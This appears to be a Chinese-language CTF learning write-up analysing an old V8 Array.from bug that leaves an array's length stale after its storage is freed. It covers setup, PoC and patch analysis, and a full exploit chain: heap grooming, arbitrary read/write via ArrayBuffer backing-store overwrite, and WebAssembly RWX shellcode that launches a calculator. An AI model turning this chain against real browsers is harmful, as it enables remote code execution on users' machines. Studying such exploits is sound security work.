前言

因为最近想尝试一些不同的东西,所以就找了几道V8CTF题目来做,权当涨涨见识,自然这篇文章也就算不上是一篇入门文章或者是浏览器漏洞分析(因为我自己也不会),最多算是踩坑记录,如果有错误的话欢迎师傅们指出。

  • 首先,V8的资料其实还挺多的,既有技术大佬写的知识总结,也有类似我这种新手的一些学习笔记,如果要从中筛选出各阶段最适合自己的材料还是要花不少时间的,不过不用担心,just pwn it for fun已经是一篇很优秀的入门文章了,对我帮助非常大。出于不可抗力因素,这篇文章已经无了。
  • 其次,V8的编译环境可以参考V8环境搭建,100%成功版,我照着这个教程一次性就搭出来了,其他一些工具(pwndbg等)之前就安装好了,所以环境搭建上其实还是挺简单的。
  • 另外我本来就不擅长写文章,再加上这本来就是我没接触过的方向,所以如果你照着文章复现失败的话,十有八九是我的表述有问题,可以看看其他师傅的writeup,多半也就懂了,我会在文末放上我参考过的文章。

题目构建

在题目所给的链接中可以找到修复bug的commit,接着我们就得到了漏洞版本的hash值和diff文件,以及一个poc文件。
image-20201016111244241.png
首先根据hash值回退到漏洞版本

# git reset --hard [commit hash with vulnerability]
# 使用这条命令来切换到漏洞版本的commit
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
# 这里选择只编译v8来加快速度
gclient sync
tools/dev/v8gen.py x64.debug 
ninja -C out.gn/x64.debug d8

漫长的等待之后我们用编译好的d8运行poc.js,成功触发crash。

image-20201016113109854.png

poc分析

开始分析poc之前,很有必要了解一下数组的对象结构:

             JSArray
 0x0+-----------------------+
    |kMapOffset             |
 0x8+-----------------------+
    |kPropertiesOffset      |
0x10+-----------------------+                     JSFixedArray
    |kElementsOffset        +----------->0x0+-----------------------+
0x18+-----------------------+               |kMapOffset             |
    |kLengthOffset          |            0x8+-----------------------+
0x20+-----------------------+               |kLengthOffset          |
                                        0x10+-----------------------+
                                            |element 0              |
                                        0x18+-----------------------+
                                            |element 1              |
                                        0x20+-----------------------+
                                            |element 2              |
                                        0x28+-----------------------+
                                            |...                    |
                                            +-----------------------+

更详细的表述请参考文末的链接,接着来看poc:

let oobArray = [];
let maxSize = 1028 * 8;

// Array.from() 方法从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。
// call() 方法使用一个指定的 this 值和单独给出的一个或多个参数来调用一个函数。
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
    // 自己实现的迭代器
    counter : 0,
    next() {
        let result = this.counter++;
        if (this.counter > maxSize) {
            // 迭代结束之后将length置零
            oobArray.length = 0;
            return {done: true};
        } else {
            return {value: result, done: false};
        }
    }
}
) });
// 之后触发崩溃
oobArray[oobArray.length - 1] = 0x41414141;

首先我们创建了oobArray数组,接着以function() { return oobArray }作为Array.from方法运行时使用的this值,和一个带有迭代器的对象作为参数进行执行。这里我参考了一下polyfillArray.from实现来理解为什么要这样设置参数。

// 省略了一大堆其他的代码,完整版 https://github.com/inexorabletash/polyfill/blob/master/es6.js
// 22.1.2.1 Array.from ( items [ , mapfn [ , thisArg ] ] )

define(
Array, 'from',
function from(items) {

    var c = strict(this);         // this 就是 function() { return oobArray }
    
    // 判断是否可以迭代
    var usingIterator = GetMethod(items, $$iterator);
    if (usingIterator !== undefined) {
        if (IsConstructor(c)) {    // IsConstructor函数检查对象是否为构造函数,此处返回true
            /*
            当代码 new Foo(...) 执行时,会发生以下事情:
            1. 一个继承自 Foo.prototype 的新对象被创建。
            2. 使用指定的参数调用构造函数 Foo,并将 this 绑定到新创建的对象。new Foo 等同于 new Foo(),也就是没有指定参数列表,Foo 不带任何参数调用的情况。
            3. 由构造函数返回的对象就是 new 表达式的结果。如果构造函数没有显式返回一个对象,则使用步骤1创建的对象。(一般情况下,构造函数不返回值,但是用户可以选择主动返回对象,来覆盖正常的对象创建步骤)
            */
            var a = new c();      // 结合上面这么一大堆字,可以得出 a = oobArray
        } else {
            a = new Array(0);
        }
    var iterator = GetIterator(items, usingIterator);

    var k = 0;
    while (true) {
        var next = IteratorStep(iterator);
        if (next === false) {
            a.length = k;       // oobArray.length = k
            return a;           // return oobArray
        }
        a[k] = mappedValue;       // oobArray[k] = mappedValue
        k += 1;
    }
}});

注释应该挺清楚了,function() { return oobArray }做参数可以使得oobArray数组本身被修改。可以看看下面这个Demo:

# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:56:15] 
$ cat test.js 
var oobArray = [];
%DebugPrint(oobArray);
Array.from.call(function() { return oobArray }, [1,2,3]);
%DebugPrint(oobArray);

# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:57:46] 
$ ~/vvvvv8/v8/out.gn/x64.debug/d8 --allow-natives-syntax test.js

DebugPrint: 0x1fca3d08d4f9: [JSArray]
 - map: 0x1d335e02571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x1b4d6e385539 <JSArray[0]>
 - elements: 0xa3822902251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
 - length: 0
 - properties: 0xa3822902251 <FixedArray[0]> {
    #length: 0xa382294ff89 <AccessorInfo> (const accessor descriptor)
 }

DebugPrint: 0x1fca3d08d4f9: [JSArray]
 - map: 0x1d335e02571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x1b4d6e385539 <JSArray[0]>
 - elements: 0x1fca3d08d761 <FixedArray[17]> [PACKED_SMI_ELEMENTS]
 - length: 3
 - properties: 0xa3822902251 <FixedArray[0]> {
    #length: 0xa382294ff89 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x1fca3d08d761 <FixedArray[17]> {
           0: 1
           1: 2
           2: 3
        3-16: 0xa3822902321 <the_hole>
 }

再看看第二个参数,是一个带有迭代器的对象。其中,在迭代结束的时候将oobArray.Length设置为0。分别比较一下置零和未置零的oobArray的状态。

# 迭代结束没有将oobArray.length置零
pwndbg> job 0x266f6b90da39
0x266f6b90da39: [JSArray]
 - map: 0x2472db302571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x34d88a085539 <JSArray[0]>
 - elements: 0x1fb3c180ef81 <FixedArray[10018]> [PACKED_SMI_ELEMENTS]
 - length: 8224
 - properties: 0xa0a6f682251 <FixedArray[0]> {
    #length: 0xa0a6f6cff89 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x1fb3c180ef81 <FixedArray[10018]> {
     省略参数
           : 0xa0a6f682321 <the_hole>
 }
 
 # 迭代结束将oobArray.length置零
pwndbg> job 0x213fb0f0da39
0x213fb0f0da39: [JSArray]
 - map: 0x27d1d0202571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x8fc75385539 <JSArray[0]>
 - elements: 0x10d45dc02251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
 - length: 8224
 - properties: 0x10d45dc02251 <FixedArray[0]> {
    #length: 0x10d45dc4ff89 <AccessorInfo> (const accessor descriptor)
 }

JSArrayelements结构指向一个足够大的数组,但是在将oobArray.length置零后,JSArrayelements结构指向了FixedArray[0]这个空数组。此时JSArraylength结构依然是8224,自然造成了越界读写。我们对比一下常规的length置零:

# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:33:12] 
$ cat test.js
var oobArray = [1,2,3];
%DebugPrint(oobArray);
oobArray.length = 0;
%DebugPrint(oobArray);

# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:34:02] 
$ ~/vvvvv8/v8/out.gn/x64.debug/d8 --allow-natives-syntax test.js
DebugPrint: 0x112f1d58d4d1: [JSArray]
 - map: 0x39b574b82571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x195f2ce05539 <JSArray[0]>
 - elements: 0x112f1d58d479 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 3
 - properties: 0x1262e4482251 <FixedArray[0]> {
    #length: 0x1262e44cff89 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x112f1d58d479 <FixedArray[3]> {
           0: 1
           1: 2
           2: 3
 }

DebugPrint: 0x112f1d58d4d1: [JSArray]
 - map: 0x39b574b82571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x195f2ce05539 <JSArray[0]>
 - elements: 0x1262e4482251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
 - length: 0
 - properties: 0x1262e4482251 <FixedArray[0]> {
    #length: 0x1262e44cff89 <AccessorInfo> (const accessor descriptor)
 }

正常情况下,FixedArray会在length被置零之后释放掉;在poc中,FixedArray已经被释放,但是length却依然保持着置零之前的值。根据polyfillarray.from的实现,漏洞成因大概是array.from内部只考虑了a = new Array(0);这种情况,而没有想到将this设置为function() { return oobArray }可以返回原数组对象。所以在迭代结束的时候,并没有检查数组的空间是否已经被释放,依然对数组的length进行了赋值。当然,具体实现我们要去源码看一下。

补丁分析

image-20201020103445118.png

只修改了GenerateSetLength函数,将原本的SmiLessThan改成了SmiNotEqual,推测是poc构造了length_smi > old_length的情况,并没有跳转去runtime来进行内存缩减,而是转去执行了StoreObjectFieldNoWriteBarrier函数。不过我没在这里看起,因为参数的含义都不知道。看了一下调用关系发现该函数在Array.from的内部实现中有调用,所以先去看一下Array.from

// 省略了一些,完整代码见src\builtins\builtins-array-gen.cc
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler)
{
    // this 就是 function() { return oobArray }
    CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));

    // 判断array_like是否可以迭代
    Label iterable(this), not_iterable(this), finished(this), if_exception(this);

    TNode<Object> this_arg = args.GetOptionalArgumentValue(2);
    TNode<Object> items = args.GetOptionalArgumentValue(0);
    // The spec doesn't require ToObject to be called directly on the iterable
    // branch, but it's part of GetMethod that is in the spec.
    // array_like就是我们传入的带有迭代器的对象
    TNode<JSReceiver> array_like = ToObject(context, items);

    // 定义array和length
    TVARIABLE(Object, array);
    TVARIABLE(Number, length);

    // Determine whether items[Symbol.iterator] is defined:
    IteratorBuiltinsAssembler iterator_assembler(state());
    Node *iterator_method =
        iterator_assembler.GetIteratorMethod(context, array_like);
    Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);

    BIND(&iterable);
    {
        // array_like 有我们自己实现的迭代器,所以可以执行到这里
        TVARIABLE(Number, index, SmiConstant(0));
        TVARIABLE(Object, var_exception);
        Label loop(this, &index), loop_done(this),
            on_exception(this, Label::kDeferred),
            index_overflow(this, Label::kDeferred);

        // 这里很关键,官方的注释虽然说会返回一个length为0的数组,但根据刚刚在polyfill的分析可以得知,如果this为构造函数的话是会直接返回构造函数返回值而非创建一个新的数组,看了一下ConstructArrayLike函数的代码发现也是一样,这里摘一部分
        /*
        // 如果this值是构造函数的话就直接调用并返回结果
        BIND(&is_constructor);
        {
            array = CAST(
                ConstructJS(CodeFactory::Construct(isolate()), context, receiver));
            Goto(&done);
        }
        */
        // Construct the output array with empty length.
        array = ConstructArrayLike(context, args.GetReceiver());

        // Actually get the iterator and throw if the iterator method does not yield
        // one.
        IteratorRecord iterator_record =
            iterator_assembler.GetIterator(context, items, iterator_method);

        TNode<Context> native_context = LoadNativeContext(context);
        TNode<Object> fast_iterator_result_map =
            LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);

        Goto(&loop);

        // 进行迭代
        BIND(&loop);
        {
            // 判断迭代是否结束
            // Loop while iterator is not done.
            TNode<Object> next = CAST(iterator_assembler.IteratorStep(
                context, iterator_record, &loop_done, fast_iterator_result_map));
            TVARIABLE(Object, value,
                        CAST(iterator_assembler.IteratorValue(
                            context, next, fast_iterator_result_map)));

            // 将迭代器的返回值存入oobArray
            // Store the result in the output object (catching any exceptions so the
            // iterator can be closed).
            Node *define_status =
                CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
                            index.value(), value.value());
            GotoIfException(define_status, &on_exception, &var_exception);
            
            // index++
            index = NumberInc(index.value());
            });
            Goto(&loop);
        }

        BIND(&loop_done);
        {
            // 将索引值index赋值给length
            length = index;
            Goto(&finished);
        }

        BIND(&on_exception);
        {
            // Close the iterator, rethrowing either the passed exception or
            // exceptions thrown during the close.
            iterator_assembler.IteratorCloseOnException(context, iterator_record,
                                                        &var_exception);
        }
    }

    BIND(&finished);

    // 给array赋值完之后调用漏洞函数GenerateSetLength(),传入array和index
    // Finally set the length on the output and return it.
    GenerateSetLength(context, array.value(), length.value());
    args.PopAndReturn(array.value());
}

几个关键的地方都写注释了,最关键的就是ConstructArrayLike函数返回了一个已经创建好的数组,而非预期中length=0的数组。接着看看GenerateSetLength函数的具体实现:

void GenerateSetLength(TNode<Context> context, TNode<Object> array,
                        TNode<Number> length)
{
    Label fast(this), runtime(this), done(this);
    // Only set the length in this stub if
    // 1) the array has fast elements,
    // 2) the length is writable,
    // 3) the new length is greater than or equal to the old length.

    // 1) Check that the array has fast elements.
    // TODO(delphick): Consider changing this since it does an an unnecessary
    // check for SMIs.
    // TODO(delphick): Also we could hoist this to after the array construction
    // and copy the args into array in the same way as the Array constructor.
    BranchIfFastJSArray(array, context, &fast, &runtime);

    BIND(&fast);
    {
        // fast_array = array
        TNode<JSArray> fast_array = CAST(array);

        // length_smi = index
        // old_length = array.length = 0
        TNode<Smi> length_smi = CAST(length);
        TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
        CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));

        // 2) Ensure that the length is writable.
        // TODO(delphick): This check may be redundant due to the
        // BranchIfFastJSArray above.
        EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);

        // 3) If the created array already has a length greater than required,
        //    then use the runtime to set the property as that will insert holes
        //    into the excess elements and/or shrink the backing store.
        // 上面也有写到,length_msi是刚刚loop循环的时候叠加的index值,old_length是oobArray自身的length值,0 < 8224。
        // 所以这个Goto是不会跳转的,如果不进行内存紧缩的话,会转去运行StoreObjectFieldNoWriteBarrier函数。
        GotoIf(SmiLessThan(length_smi, old_length), &runtime);

        // 将oobArray的length设置为length_smi
        StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
                                        length_smi);

        Goto(&done);
    }

    BIND(&runtime);
    {
        CallRuntime(Runtime::kSetProperty, context, static_cast<Node *>(array),
                    CodeStubAssembler::LengthStringConstant(), length,
                    SmiConstant(LanguageMode::kStrict));
        Goto(&done);
    }

    BIND(&done);
}
};

光看源码其实有好几个点看不懂,有些函数的底层实现对我来说还是有点复杂的,读的时候总感觉没那味儿,不过参考了polyfillECMA-262标准之后基本全通了。GenerateSetLength函数总是以为传入的数组就是新创建的数组,old_length是不会小于length_smi的,但我们传入了一个早就创建好的数组,并且修改了数组的length,导致elements结构指向的数组被释放了。之后GenerateSetLength函数内部在判断的时候,没想到数组的length已经变成了0,不仅并没有触发内存紧缩,还把巨大的索引值length_smi又赋值给了数组的length,最终造成了数组的length保持着未释放前的值,而数组却早就释放了的情况。

漏洞利用

由于DCHECK的原因,所以我们接下来的利用要转到release版本了。银师傅在release版本使用job等命令的方法我并没有成功,所以还是选择了放弃job命令。到目前为止,我们通过漏洞已经实现了越界读写的能力,为了达到我们的终极目标(任意代码执行),我们需要构建更加强大的原语。

任意地址读/写原语

做到这一步,我首先想的就是能不能像内核一样,用越界读写来操作Bitmap对象,通过溢出修改pvscan0来达到任意地址读/写的目的。结果还真有这么一招,ES2015推出之后,JavaScript 开始支持在原始二进制缓冲区中读取和写入数据,这个缓冲区被称为ArrayBuffer。具体结构如下:

 0x0+-----------------------+
    |kMapOffset             |
 0x8+-----------------------+
    |kPropertiesOffset      |
0x10+-----------------------+
    |kElementsOffset        |
0x18+-----------------------+
    |kByteLengthOffset      |                     +--------------+
0x20+-----------------------+                     |              |
    |kBackingStoreOffset    +-------------------->+  heap chunk  |
0x28+-----------------------+                     |              |
    |kAllocationBaseOffset  |                     +--------------+
0x30+-----------------------+
    |kAllocationLengthOffset|
0x38+-----------------------+
    |kBitFieldSlot          |
0x40+-----------------------+
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [12:30:48] 
$ cat test.js 
let oob = new ArrayBuffer(0x10);
%DebugPrint(oob);
%SystemBreak();

pwndbg> job 0x2310b90d4c1
0x2310b90d4c1: [JSArrayBuffer]
 - map: 0x334e30303fe9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x28fb71992981 <Object map = 0x334e30304041>
 - elements: 0x352a58c82251 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x5607bc964ce0
 - byte_length: 16
 - neuterable
 - properties: 0x352a58c82251 <FixedArray[0]> {}
 - embedder fields = {
    (nil)
    (nil)
 }
pwndbg> vmmap heap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5607bc962000     0x5607bca0f000 rw-p    ad000 0      [heap]

也就是说,只要我们可以通过OOB修改了ArrayBuffer->kBackingStoreOffset,就可以随意操作JSArrayBuffer指向的内存了。不过,ArrayBuffer是不能直接操作的,我们需要通过TypedArray来进行数据访问,示意图如下:

                     JSArray
         0x0+-----------------------+
            |kMapOffset             |
         0x8+-----------------------+
            |kPropertiesOffset      |
        0x10+-----------------------+
            |kElementsOffset        +------+
        0x18+-----------------------+      |
            |kLengthOffset          |      |
        0x20+-----------------------+      |
                                           |
                  JSFixedArray             |
         0x0+-----------------------+<-----+
            |kMapOffset             |
         0x8+-----------------------+
            |kLengthOffset          |
        0x10+-----------------------+
            |element 0              |
        0x18+-----------------------+
            |element 1              |                                       JSTypedArray
        0x20+-----------------------+                              0x0+-----------------------+
            |element 2              |                                 |kMapOffset*            |
        0x28+-----------------------+                              0x8+-----------------------+
   +--------+...                    |                                 |kPropertiesOffest*     |
   |        +-----------------------+                             0x10+-----------------------+
   |                                                                  |kElementsOffset*       |
   |              JSArrayBuffer                                   0x18+-----------------------+
   |     0x0+-----------------------+<--------------------------------+kBufferOffset*         |
   |        |kMapOffset             |                             0x20+-----------------------+
OOB|     0x8+-----------------------+                                 |kByteOffsetOffset      |
   |        |kPropertiesOffset      |                             0x28+-----------------------+
   |     x10+-----------------------+                                 |kByteLengthOffset      |
   |        |kElementsOffset        |                             0x30+-----------------------+
   |     x18+-----------------------+                                 |kViewSize*             |
   |        |kByteLengthOffset      |      +--------------+       0x38+-----------------------+
   |     x20+-----------------------+      |              |           |kLengthOffset          |
   +------->+kBackingStoreOffset    +----->+  heap chunk  |       0x40+-----------------------+
         x28+-----------------------+      |              |
            |kAllocationBaseOffset  |      +--------------+
        0x30+-----------------------+
            |kAllocationLengthOffset|
        0x38+-----------------------+
            |kBitFieldSlot          |
        0x40+-----------------------+

接着要思考如何把ArrayBuffer放置到我们的oobarray之后,我们申请大量的带有特征值的ArrayBuffer,再通过oobarray来搜索特征值,就可以找到可用的ArrayBuffer。另外当前版本的ArrayBuffer只能用Float64Array来读写八字节的内存单元,所以我们不仅要在数组中定义浮点数,还要实现Float64和Uint64的转换。部分代码如下:

let arrayBuffers = [];
let oobArray = [1.1];
let maxSize = 1028 * 8;

function hex(x)                                //打印16进制
{
   return '0x' + (x.toString(16)).padStart(16, 0);
}

class Memory{
    constructor(){
        this.buf = new ArrayBuffer(8);
        this.f64 = new Float64Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
        this.bytes = new Uint8Array(this.buf);
    }
    f2i(val){        //double ==> Uint64
        this.f64[0] = val;
        let tmp = Array.from(this.u32);
        return tmp[1] * 0x100000000 + tmp[0];
    }
    i2f(val){        //Uint64 ==> double
        let tmp = [];
        tmp[0] = parseInt(val % 0x100000000);
        tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
        this.u32.set(tmp);
        return this.f64[0];
    }
}
var mem = new Memory();

// Array.from() 方法从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。
// call() 方法使用一个指定的 this 值和单独给出的一个或多个参数来调用一个函数。
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
    // 自己实现的迭代器
    counter : 0,
    next() {
        let result = 1.1;
        this.counter++;
        if (this.counter > maxSize) {
            // 迭代结束之后将length置1,避免被回收
            oobArray.length = 1;
            // 堆风水,0xc00c为特殊值,方便搜索
            for (let i = 0;i < 100;i++) {
                arrayBuffers.push(new ArrayBuffer(0xc00c));
            }
            return {done: true};
        } else {
            return {value: result, done: false};
        }
    }
}
) });

// 搜索oobArray之后是否存在可用的ArrayBuffer,
let kBackingStoreOffset = 0;
for(let i = 0; i < maxSize; i++){
    let val = mem.f2i(oobArray[i]);
    if(val === 0xc00c00000000){
        console.log("[*]find target ArrayBuffer at oobArray[" + i.toString() + "]");
        kBackingStoreOffset = i + 1;
        oobArray[i] = mem.i2f(0x0cc000000000);  //修改可控buf的length,做个标记
        oobArray[i + 3] = mem.i2f(0x0cc0);      //有两处保存了length值
        break;
    }
}

// arrayBuffers中的第i个buf是可控的
let controllable_buf_idx = 0;
for(let i = 0; i < arrayBuffers.length; i++){
    let val = arrayBuffers[i].byteLength;
    if(val === 0x0cc0){                         //查找被修改了length的buf
        console.log("[*]find target ArrayBuffer at arrayBuffers[" + i.toString() + "]");
        controllable_buf_idx = i;
        break;
    }
}

除了ArrayBuffer之外,我们还可以在oobArray之后布置普通对象,如果将目标对象绑定到普通对象的in-object属性,那么就可以通过oobArray的越界读来泄露目标对象的所在地址,关于布置和查找的方法和ArrayBuffer是一样的。

任意代码执行

除常规的linux利用手法之外,其实我们还可以通过WebAssembly来进行任意代码执行,这个网站可能会帮到你。具体步骤如下:

  1. 创建一个wasm函数对象,wasm本身只能进行诸如数学运算这样的操作,所以随便创建一个就行。
  2. 通过地址泄露原语找到wasm自带的RWX属性页及wasm函数最终会调用的汇编代码(wasmInstance.exports.main -> shared_info -> data -> instance+XX)。
  3. 通过任意地址读写原语修改wasm所在内存页,换上我们准备好的shellcode。
  4. 调用wasm函数接口,执行shellcode。

代码如下:

let oobArray = [1.1];  
let arrays=[];    
let objs=[];                                
let maxSize = 1028 * 8;        

// 转换格式
class Memory{
    constructor(){
        this.buf=new ArrayBuffer(8);
        this.f64=new Float64Array(this.buf);
        this.u32=new Uint32Array(this.buf);
    }
    f2i(val){
        this.f64[0]=val;
        return this.u32[1]*0x100000000+this.u32[0];
    }
    i2f(val){
        this.u32[0]=parseInt(val%0x100000000);
        this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
        return this.f64[0];
    }

}
// 打印16进制
function hex(x)
{
   return '0x' + (x.toString(16)).padStart(16, 0);
}
var mem=new Memory(); 

// Array.from() 方法从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。
// call() 方法使用一个指定的 this 值和单独给出的一个或多个参数来调用一个函数。
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( 
    {
        // 自己实现的迭代器
        counter : 0,
        next() {
            let result = 1.1;
            this.counter++;
            if (this.counter > maxSize) {      
                // 迭代结束之后将length置1,避免被回收   
                oobArray.length=1;
                // 堆风水,0xc00c为特殊值,方便搜索
                for(let i=0;i<100;i++)
                {
                    let array=new ArrayBuffer(0xc00c);
                    let obj={'a':0x1234,'b':0x5678};
                    arrays.push(array);
                    objs.push(obj);
                }        
                return {done: true};
            } else {
                return {value: result, done: false};
            }
        }
    }
) });

// 刷新栈帧,创建一片干净的空间,防止一些关键参数被修改.
for(let i=0;i<=maxSize;i++){let x=oobArray[i]};

// 找ArrayBuffer
let backing_store;
let kbitfield;
let buf_index;

for(let i=0;i<maxSize;i++)
{
    let val=mem.f2i(oobArray[i]);
    if(val===0xc00c00000000)
    {
        backing_store=i+1;
        kbitfield=backing_store+1;
        console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
        oobArray[i]=mem.i2f(0xbeaf00000000);
        break;
    }
}

for(let i=0;i<100;i++)
{    
    if(arrays[i].byteLength===0xbeaf){

           console.log("[*]find target ArrayBuffer number ["+i+"]");
        buf_index=i;    
        let tmp=new Float64Array(arrays[buf_index],0,0x10);
        tmp[0]=mem.i2f(0xdeadbeef);
        break;
    }    
}

// 找对象
let obj_index;
let obj_offset;

for(let i=0;i<maxSize;i++)
{
    let val=mem.f2i(oobArray[i]);
    if(val===0x123400000000)
    {
        obj_offset=i;
        console.log("[*]find target objecets in oobArray number ["+i+"]");
        oobArray[i]=mem.i2f(0x123500000000);
        break;
    }
}

for(let i=0;i<100;i++)
{    
    if(objs[i].a===0x1235){
           console.log("[*]find target objs number ["+i+"]");
        obj_index=i;
        break;
    }    
}

// 任意地址读写
class ArbitraryRW
{
    leak_obj(obj){
        objs[obj_index].a = obj;
        return mem.f2i(oobArray[obj_offset]) - 1;
    }
    read(addr){
        oobArray[backing_store]=mem.i2f(addr);
        oobArray[kbitfield]=mem.i2f(addr);
        let tmp=new Float64Array(arrays[buf_index],0,0x10);
        return mem.f2i(tmp[0]);
    }
    write(addr,value){
        oobArray[backing_store]=mem.i2f(addr);
        oobArray[kbitfield]=mem.i2f(addr);
        this.f64=new Float64Array(arrays[buf_index],0,0x10);
        this.f64[0]=mem.i2f(value);
    }
    leak(){
        return mem.f2i(oobArray[kbitfield]);
    }
}
let wr=new ArbitraryRW();

// WASM
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f=wasmInstance.exports.main;

let asm_addr=wr.leak_obj(f);
console.log("[*]address of asm = "+hex(asm_addr));
let sharedInfo =wr.read(asm_addr+0x18)-1;
let functionData=wr.read(sharedInfo+0x8)-1;
let instanceAddr=parseInt(wr.read(functionData+0x70)/0x10000);
console.log("functionData addresss ="+hex(functionData));
console.log("[*] RWX address ="+hex(instanceAddr));

// 写入shellcode
let shellcode=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<shellcode.length;i++){
    wr.write(instanceAddr+i,shellcode[i]);
}
f();

image-20201102014427030.png

参考文章

StarCTF 2019 v8 off-by-one漏洞学习笔记

just pwn it for fun

从一道CTF题零基础学V8漏洞利用

v8 engine exploit零基础入门

V8环境搭建,100%成功版